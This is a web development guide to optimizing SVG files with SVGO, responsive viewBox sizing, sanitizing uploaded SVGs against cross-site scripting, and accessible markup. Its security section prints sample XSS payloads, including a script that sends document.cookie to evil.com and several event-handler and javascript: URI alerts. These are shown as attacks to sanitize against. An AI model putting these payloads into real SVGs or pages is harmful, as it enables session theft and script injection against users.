Scalable Vector Graphics (SVG) are the gold standard for web iconography, illustrations, and UI branding due to their infinite scalability and minimal file footprint. However, raw SVG exports from design tools like Figma, Adobe Illustrator, or Sketch contain substantial bloat: editor metadata, invisible clipping masks, redundant namespaces, and decimal precision overkill.
More critically, SVG is an XML document that executes JavaScript. When user-uploaded or unvetted SVGs are rendered inline or served with incorrect MIME headers, they introduce critical Cross-Site Scripting (XSS) vulnerabilities.
This guide details how to configure a production-grade SVGO optimization pipeline, master responsive viewBox coordinate math, and securely sanitize vector graphics against malicious payloads.
1. The Anatomy of SVG Bloat: Raw Export vs. Optimized
A typical export from Figma contains XML boilerplate, unnecessary groups (<g>), and multi-digit floating point coordinates that increase file size by 50% to 80%:
Raw Illustrator / Figma Export (5.2 KB)
┌─────────────────────────────────────────────────────────────┐
│ <?xml version="1.0" encoding="UTF-8"?> │
│ <!-- Generator: Adobe Illustrator 28.0, SVG Export Plug-In -->│
│ <svg xmlns:sketch="http://www.bohemiancoding.com/sketch/ns" │
│ width="512px" height="512px" viewBox="0 0 512 512"> │
│ <g id="Layer_1" data-name="Layer 1"> │
│ <path d="M120.4859384 45.1092834 C122.9837482..." /> │
│ </g> │
│ </svg> │
└─────────────────────────────────────────────────────────────┘
⬇ Optimized via SVGO (890 B - 83% reduction)
┌─────────────────────────────────────────────────────────────┐
│ <svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg│
│ <path d="M120.5 45.1c2.5 0..."/> │
│ </svg> │
└─────────────────────────────────────────────────────────────┘
Key SVGO Optimization Transformations
- Precision Reduction (
floatPrecision: 2): Truncating coordinate decimals from 8 places (120.4859384) to 1 or 2 places (120.5) saves 30–40% file size without any visible visual degradation. - Metadata Stripping: Removes
<?xml ...?>, DOCTYPE declarations, editor comments, and custom metadata namespaces (xmlns:inkscape,xmlns:sketch). - Path Merging & Transformation: Combines adjacent subpaths and converts absolute coordinates to relative instructions (
Mvsm) where byte count is lower. - Dimension Normalization: Removes fixed
widthandheightattributes while preservingviewBox, ensuring clean CSS-driven responsive resizing.
2. Production svgo.config.js Configuration
/** @type {import('svgo').Config} */
module.exports = {
multipass: true, // Run optimization passes repeatedly until optimal
plugins: [
{
name: 'preset-default',
params: {
overrides: {
// Keep viewBox for responsive scaling via CSS
removeViewBox: false,
// Do not delete unknown elements if using custom data-attributes
removeUnknownsAndDefaults: {
keepDataAttrs: false,
},
// Clean ID attributes without colliding across multiple inline SVGs
cleanupIds: {
minify: true,
prefix: 'svg-icon-',
},
},
},
},
// Truncate path coordinate decimals
{
name: 'cleanupNumericValues',
params: {
floatPrecision: 2,
},
},
// Strip width/height so CSS controls rendering size
'removeDimensions',
// Sort attributes for optimal gzip compression
'sortAttrs',
],
};
3. The Responsive viewBox vs width/height Guide
A common frustration in responsive design is clipped or overflowing SVG icons.
viewBox="min-x min-y width height"
└──┬─┘ └──┬─┘ └──┬─┘ └──┬──┘
│ │ │ └─ Internal coordinate space height
│ │ └───────── Internal coordinate space width
│ └───────────────── Top origin point
└───────────────────────── Left origin point
The Golden Rule of Responsive SVGs
- Remove
widthandheightattributes from the<svg>root tag. - Always retain the
viewBoxattribute (e.g.viewBox="0 0 24 24"). - Control dimensions and aspect ratio via CSS:
.icon { width: 1.5rem; height: 1.5rem; display: inline-block; aspect-ratio: 1 / 1; } - Use
preserveAspectRatio="xMidYMid meet"(default) to scale uniformly without distortion.
4. SVG Security & XSS Sanitization
Because SVG is an XML dialect, browsers parse and execute embedded scripts when the SVG is rendered inline (<svg>...</svg>) or navigated to directly.
Dangerous SVG Attack Vectors
<!-- Attack Vector 1: Direct <script> injection -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
</svg>
<!-- Attack Vector 2: Inline Event Handlers -->
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" onload="alert(document.domain)" />
</svg>
<!-- Attack Vector 3: Malicious JavaScript URIs in hyperlinks -->
<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert('XSS')">
<text y="20">Click here</text>
</a>
</svg>
<!-- Attack Vector 4: ForeignObject injection -->
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100" height="100">
<body xmlns="http://www.w3.org/1999/xhtml">
<img src="x" onerror="alert('XSS')" />
</body>
</foreignObject>
</svg>
Server-Side Sanitization Pipeline (DOMPurify & JSDOM)
Never trust raw SVG uploads. Always run them through DOMPurify configured specifically for SVG context:
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';
const window = new JSDOM('').window;
const purify = DOMPurify(window);
export function sanitizeSvg(rawSvg: string): string {
const clean = purify.sanitize(rawSvg, {
USE_PROFILES: { svg: true, svgFilters: true },
ADD_TAGS: ['use'],
FORBID_TAGS: ['script', 'foreignObject', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onload', 'onclick', 'onerror', 'onmouseover', 'onfocus'],
});
if (!clean || !clean.includes('<svg')) {
throw new Error('Invalid or stripped SVG content');
}
return clean;
}
Safe Serving Headers for User-Generated SVGs
If serving user-uploaded SVGs from an S3/R2 bucket or CDN:
- Set
Content-Type: image/svg+xml - Set
Content-Disposition: attachment(or serve from a sandbox domain likeuser-content.example.com). - Add
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'header to disable script execution entirely if viewed directly.
5. Accessibility (a11y) Standards for SVGs
Decorative icons should be hidden from screen readers, while informative icons must carry accessible labels per WCAG 2.2:
<!-- 1. Purely Decorative Icon (Ignored by screen readers) -->
<svg aria-hidden="true" focusable="false" viewBox="0 0 24 24">
<path d="..." />
</svg>
<!-- 2. Informative / Actionable Icon Button -->
<button aria-label="Delete Project">
<svg aria-hidden="true" viewBox="0 0 24 24">
<path d="..." />
</svg>
</button>
<!-- 3. Standalone Informative Illustration -->
<svg role="img" aria-labelledby="chartTitle chartDesc" viewBox="0 0 400 200">
<title id="chartTitle">Q3 Revenue Growth</title>
<desc id="chartDesc">Bar chart showing a 24% increase in Q3 revenue.</desc>
<path d="..." />
</svg>
6. Optimization Checklist & Tools
- Interactive Compression: Optimize, clean, and minify raw SVG code with the SVG Optimizer.
- Accessibility Audit: Verify color contrast and WCAG compliance using the Accessibility Checker.
- Image Pipeline: Convert and benchmark raster assets vs vectors with the Image Compressor.